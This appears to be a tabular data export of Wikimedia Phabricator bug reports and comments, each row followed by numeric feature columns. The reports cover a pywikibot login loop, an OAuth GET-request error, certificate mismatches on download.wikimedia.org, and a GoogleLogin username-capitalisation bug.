+  tools.wikisource-bot@tools-bastion-01:~$ python pwb.py login -user:wikisource-bot -debug -verbose
+  The base directory is /data/project/wikisource-bot/.pywikibot
+  Pywikibot rb1d2cc30c317fed7cfb8db4cc70c04f8913eb94b
+  Python 2.7.6 (default, Jun 22 2015, 17:58:13)
+  [GCC 4.8.2]
+  Found 1 wikisource:en processes running, including this one.
+  Password for user Wikisource-bot on wikisource:en (no characters will be shown):
+  Logging in to wikisource:en as Wikisource-bot
+  Should be logged in now
+  Password for user Wikisource-bot on wikisource:en (no characters will be shown):
+  ...
+
+It is not a failed password error as that spits out a failed password error.
+
+
+Version gives me ...
+
+  tools.wikisource-bot@tools-bastion-01:~$ python pwb.py version -user:wikisource-bot
+  Pywikibot: [https] r-pywikibot-core.git (e7e56d5, g3, 2015/08/15, 21:49:51, OUTDATED)
+  Release version: 2.0b3
+  requests version: 2.2.1
+   cacerts: /etc/ssl/certs/ca-certificates.crt
+     certificate test: ok
+  Python: 2.7.6 (default, Jun 22 2015, 17:58:13)
+  [GCC 4.8.2]
+  PYWIKIBOT2_DIR: /data/project/wikisource-bot/.pywikibot
+  PYWIKIBOT2_DIR_PWB:
+  PYWIKIBOT2_NO_USER_CONFIG: Not set
+  Config base dir: /data/project/wikisource-bot/.pywikibot
+  Usernames for family ""wikisource"":
+         el: wikisource-bot (no sysop configured)
+  ...
+
+",Needs Triage,90.0,1439725805,1440717376.0,PHID-USER-bmenasgfntvftznu6wxs,False,PHID-USER-7fndkemmavweiht5ybfd,False,PHID-TASK-xnhb27tqs265iaz7cbp3,task_description,duplicate,True,c3,3,False,False,True,6,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+516327,Login with pywikibot loops on toollabs,Okay it really seems that T110354 does fix it. Unfortunately I haven't backed up the cookie file from before so I could not verify that it's broken again when I undo the fix. Anyway I close it for now and wait if others experience that problem again.,,,1440717511,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-xnhb27tqs265iaz7cbp3,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+516318,Login with pywikibot loops on toollabs,I'm using https://gerrit.wikimedia.org/r/#/c/195100/8 which does not include the patch. But I haven't changed my cookie file at all and it happened out of the blue. And I'm a bit scared that switching branches might hide the problem again but I'll try implementing that on my own.,,,1440717053,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-xnhb27tqs265iaz7cbp3,task_subcomment,,True,c3,3,True,,,8,True,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0
+516314,Login with pywikibot loops on toollabs,"I'm wondering if this might be caused by {T110354}.
+@xzise, did you reproduce it on a version prior to that fix?",,,1440716848,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-xnhb27tqs265iaz7cbp3,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,1,0,0,0
+516300,Login with pywikibot loops on toollabs,It seems like I got that issue too but locally and using `python setup.py nosetests --tests tests --verbosity=2` as the command.,,,1440716132,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-xnhb27tqs265iaz7cbp3,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,1
+511539,Login with pywikibot loops on toollabs,">>! In T109215#1543217, @Billinghurst wrote:
+> […]and no loop
+
+By the way this does **not** fix the issue here. Using the login script afterwards again causes the looping behavior. Afaik it's also looping when running a script.",,,1440070958,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-xnhb27tqs265iaz7cbp3,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+511504,Login with pywikibot loops on toollabs,"I encountered this once yesterday, and deleting `pywikibot.lwp` fixed it.
+@xzise also reported a similar sequence on https://gerrit.wikimedia.org/r/#/c/231218/ PS 6",,,1440066908,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-xnhb27tqs265iaz7cbp3,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,1,1,1,0,1,0,1,0,0,0
+509076,Login with pywikibot loops on toollabs,"with guidance I ran
+   python -c ""import pywikibot; s = pywikibot.Site('en', 'wikisource'); s.login()""
+and no loop",,,1439726937,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-xnhb27tqs265iaz7cbp3,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+109029,"Chrome on OS X 10.11 (""El Capitan"") does not trust Wikimedia certificates","Chrome on OS X 10.11 (""El Capitan"") does not trust our certificates, because the certificate chain contains the GlobalSign Root CA certificate, which uses a SHA-1 signature algorithm.
+
+{F1488205} {F1488208}
+
+OS X 10.11 is currently released as a developer preview. A public release date has not yet been set, but it is widely expected to occur sometime this fall.",Needs Triage,90.0,1439513461,1439527190.0,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,PHID-TASK-tfj5ru5soqi46jiav6m4,task_description,declined,True,c3,3,True,True,True,6,True,0,0,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+511575,"Chrome on OS X 10.11 (""El Capitan"") does not trust Wikimedia certificates","FYI, as of El Capitan Beta 5 release + Chrome 44.0.2403.155, the issue seems to be resolved, although I'm not sure which update fixed it :)",,,1440075460,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-tfj5ru5soqi46jiav6m4,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,1,1,1,0,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+508044,"Chrome on OS X 10.11 (""El Capitan"") does not trust Wikimedia certificates",Upstream bug.,,,1439527190,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-tfj5ru5soqi46jiav6m4,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+508029,"Chrome on OS X 10.11 (""El Capitan"") does not trust Wikimedia certificates","I switched my Mac to El Capitan as well a week or two ago and ran into the same thing.  It's a Chrome+ElCapitan bug that Chrome will eventually fix, not an issue with our servers/certs: https://code.google.com/p/chromium/issues/detail?id=499506 .  (SHA-1 Root-level certs don't actually matter and aren't supposed to make Chrome Red-X our site).",,,1439521531,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-tfj5ru5soqi46jiav6m4,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+108182,ValueError when using OAuth on HTTPS sites,"OAuth mechanism of Pywikibot works well on HTTP sites, but ValueError is raised when enabling OAuth authentication on HTTPS sites. 
+
+https://travis-ci.org/VcamX/pywikibot-core/jobs/74350129#L379
+
+```
+Test a Page instance as parameter using ASCII chars. ... ERROR: Traceback (most recent call last):
+  File ""/home/travis/build/VcamX/pywikibot-core/pywikibot/data/api.py"", line 1912, in submit
+    body=body, headers=headers)
+  File ""/home/travis/build/VcamX/pywikibot-core/tests/utils.py"", line 414, in request
+    result = self.__wrapper._old_http.request(*args, **kwargs)
+  File ""/home/travis/build/VcamX/pywikibot-core/pywikibot/tools/__init__.py"", line 1245, in wrapper
+    return obj(*__args, **__kw)
+  File ""/home/travis/build/VcamX/pywikibot-core/pywikibot/comms/http.py"", line 243, in request
+    r = fetch(baseuri, method, body, headers, **kwargs)
+  File ""/home/travis/build/VcamX/pywikibot-core/pywikibot/comms/http.py"", line 393, in fetch
+    error_handling_callback(request)
+  File ""/home/travis/build/VcamX/pywikibot-core/pywikibot/comms/http.py"", line 310, in error_handling_callback
+    raise request.data
+ValueError: GET/HEAD requests should not include body.
+```
+
+### Workaround
+
+The workaround is not to use GET when OAuth enabled. This is fixed since PS17 for T102602.",Needs Triage,90.0,1438864704,1439817629.0,PHID-USER-ldooglhg45a3eg7cmxhh,False,PHID-USER-ldooglhg45a3eg7cmxhh,False,PHID-TASK-wwbyu3hau6kizcvruovz,task_description,resolved,True,c3,3,True,True,True,5,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,1,1,1,0,1,0,1,1
+507241,ValueError when using OAuth on HTTPS sites,"I can confirm that it's not a bug in mwoauth. It about how oauthlib and requests-oauth deal with it.
+Our login request with OAuth will end up to the following branch in [requests-oauthlib](https://github.com/requests/requests-oauthlib/blob/master/requests_oauthlib/oauth1_auth.py#L79):
+
+        ...
+        if is_form_encoded:
+            r.headers['Content-Type'] = CONTENT_TYPE_FORM_URLENCODED
+            r.url, headers, r.body = self.client.sign(
+                unicode(r.url), unicode(r.method), r.body or '', r.headers)
+        elif self.force_include_body:
+            ...
+
+Note that `r.body or''` in `self.client.sign`, which mean this parameter will be '' instead of r.body since r.body is None here.
+
+In function [sign](https://github.com/idan/oauthlib/blob/master/oauthlib/oauth1/rfc5849/__init__.py#L225) of oauthlib:
+
+    def sign(self, uri, http_method='GET', body=None, headers=None, realm=None):
+        # normalize request data
+        request = Request(uri, http_method, body, headers,
+                          encoding=self.encoding)
+        ...
+        has_params = request.decoded_body is not None
+        ...
+        elif http_method.upper() in ('GET', 'HEAD') and has_params:
+            raise ValueError('GET/HEAD requests should not include body.')
+        ...
+
+Note that if body is None for request, request.decoded_body can't work since it'll decode None.
+So I have to say it's about the way oauthlib deal with `request.decoded_body`.",,,1439452133,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-wwbyu3hau6kizcvruovz,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+507237,ValueError when using OAuth on HTTPS sites,"So the workaround is to not use GET when oauth is available.
+
+Do we know why the bug is happening?  oauth is adding a body to the GET request?  Is that a bug in mwoauth?",,,1439450504,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-wwbyu3hau6kizcvruovz,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+503842,ValueError when using OAuth on HTTPS sites,This is solved by PS17 of T102602.,,,1438919470,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-wwbyu3hau6kizcvruovz,task_subcomment,,True,c3,3,True,,,5,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+107866,Have a public IP & DNS for Beta's HTTP proxy,"The production proxy, `url-downloader.wikimedia.org` has got a public DNS record and IP, and advertises as such to its internal users. Beta's proxy, on the other hand, has got an internal IP, which may create subtle discrepancies in application behaviour. The motivation for this are applications that want to check whether they are about to do an internal or external request, which then see the connecting peer always with an internal IP.",Needs Triage,90.0,1438688923,1438696816.0,PHID-USER-hxwwywcyzpooynxuo7a2,False,PHID-USER-hxwwywcyzpooynxuo7a2,False,PHID-TASK-emtzniejf66eo44rdouc,task_description,invalid,True,c3,3,True,True,True,4,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+501798,Have a public IP & DNS for Beta's HTTP proxy,">>! In T107866#1506208, @akosiaris wrote:
+> Couple of questions:
+> 
+> * Why would applications what to check if they are about to do an internal or external request ? Got a use case in mind ?
+
+My reasoning was that having a proxy changes the request dynamic, as the request for `example.com` connects to the proxy, passing it a `Host` header for the sought domain. Thus, by changing the dynamic we might influence an application's decision on what to do. The use case I had in mind was Citoid which needs to know //a priori// the IP of the target host it contacts.
+
+> * Even if there is a legitimate use case, why couple the detection to url-downloader's IP ?
+
+Right, and in fact we don't. We use `dns.resolve` which actually looks up the target IP, regardless of the proxy.
+
+> 
+> I am mostly trying to understand what the problem is and what the best way to address it is
+
+Heh, good you did :) Hence, setting this as an invalid ticket.",,,1438696816,,PHID-USER-hxwwywcyzpooynxuo7a2,False,,,PHID-TASK-emtzniejf66eo44rdouc,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,0,1,1,1,1,1,0,1,1,0,1,1,0,1,0,1,1
+501789,Have a public IP & DNS for Beta's HTTP proxy,"Couple of questions:
+
+* Why would applications what to check if they are about to do an internal or external request ? Got a use case in mind ?
+* Even if there is a legitimate use case, why couple the detection to url-downloader's IP ?
+
+I am mostly trying to understand what the problem is and what the best way to address it is
+
+",,,1438695866,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-emtzniejf66eo44rdouc,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,0
+107806,GoogleLogin provides incorrect data if first letter of username is not capitalized,"Took me a while to track this down today...
+
+Steps to reproduce: 
+1. Install GoogleLogin plugin
+2. Attempt to create a new account, using a username that is not taken, but has a lowercase letter as the first letter. 
+3. Plugin returns googlelogin-form-choosename-existerror instead of silently accepting username and just capitalizing the first letter... 
+
+Patch will be submitted shortly. ",Needs Triage,90.0,1438639666,1440576665.0,PHID-USER-zbrssgjmfiiovtpno6yd,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-i4j27y4w2c2yka25pnc2,task_description,resolved,True,c3,3,False,False,True,4,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+514738,GoogleLogin provides incorrect data if first letter of username is not capitalized,"Change 228998 merged by jenkins-bot:
+Silently uppercase the first letter of a users name
+
+[[https://gerrit.wikimedia.org/r/228998]]",,,1440576621,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-i4j27y4w2c2yka25pnc2,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+501496,GoogleLogin provides incorrect data if first letter of username is not capitalized,"Change 228998 had a related patch set uploaded (by Florianschmidtwelzow):
+Silently uppercase the first letter of a users name
+
+[[https://gerrit.wikimedia.org/r/228998]]
+",,,1438640189,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-i4j27y4w2c2yka25pnc2,task_subcomment,,True,c3,3,False,,,4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+107575,download.wiki[mp]edia.org are using an invalid certificate,"https://download.wikipedia.org/ and https://download.wikimedia.org/ are using the certificate of dumps.wikimedia.org, which doesn't match download.wikipedia.org or download.wikimedia.org. ",Needs Triage,90.0,1438350061,1440547954.0,PHID-USER-arjqb24x4oae7awzpfp6,False,PHID-USER-arjqb24x4oae7awzpfp6,False,PHID-TASK-77ccuqpf75t5iindumtx,task_description,resolved,True,c3,3,True,True,True,4,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+794866,download.wiki[mp]edia.org are using an invalid certificate,"Change 333272 merged by Dzahn:
+dumps: remove nginx for download.wikimedia.org
+
+[[https://gerrit.wikimedia.org/r/333272]]",,,1484934355,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-77ccuqpf75t5iindumtx,task_subcomment,,True,c3,3,False,,,81,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+794812,download.wiki[mp]edia.org are using an invalid certificate,"Change 333272 had a related patch set uploaded (by Dzahn):
+dumps: remove nginx for download.wikimedia.org
+
+[[https://gerrit.wikimedia.org/r/333272]]
+",,,1484930212,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-77ccuqpf75t5iindumtx,task_subcomment,,True,c3,3,False,,,81,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+514616,download.wiki[mp]edia.org are using an invalid certificate,Confirmed that this issue was fixed.,,,1440547954,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-77ccuqpf75t5iindumtx,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+514331,download.wiki[mp]edia.org are using an invalid certificate,"Change 233659 merged by Yuvipanda:
+Point download.wiki(m|p)edia.org at text-lb
+
+[[https://gerrit.wikimedia.org/r/233659]]",,,1440522632,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-77ccuqpf75t5iindumtx,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+514294,download.wiki[mp]edia.org are using an invalid certificate,"Change 233658 merged by Giuseppe Lavagetto:
+Rewrite download.wiki(p|m)edia.org urls to dumps.wikimedia.org
+
+[[https://gerrit.wikimedia.org/r/233658]]",,,1440520566,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-77ccuqpf75t5iindumtx,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+513958,download.wiki[mp]edia.org are using an invalid certificate,"Change 233659 had a related patch set uploaded (by Chad):
+Point download.wiki(m|p)edia.org at text-lb
+
+[[https://gerrit.wikimedia.org/r/233659]]
+",,,1440473969,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-77ccuqpf75t5iindumtx,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+509803,download.wiki[mp]edia.org are using an invalid certificate,That seems like a reasonable approach to me.,,,1439844636,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-77ccuqpf75t5iindumtx,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0
+508954,download.wiki[mp]edia.org are using an invalid certificate,"How about mapping download.Wikipedia.org to the text cluster, and then have it redirect to https://dumps.wikimedia.org?",,,1439654029,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-77ccuqpf75t5iindumtx,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0
+501626,download.wiki[mp]edia.org are using an invalid certificate,@ArielGlenn Wanna talk to Brandon about the concerns re: huge file sizes and varnish? Or rather to Robh about getting a new cert?,,,1438653933,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-77ccuqpf75t5iindumtx,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,0,0
+501625,download.wiki[mp]edia.org are using an invalid certificate,so either misc-web or the cert for dumps should be renewed and get an additional SAN of download.wm,,,1438653871,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-77ccuqpf75t5iindumtx,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1
+501129,download.wiki[mp]edia.org are using an invalid certificate,"It was never done because there were concerns by @arielglenn about putting large (huge, GBs) files behind varnish.",,,1438610770,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-77ccuqpf75t5iindumtx,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0
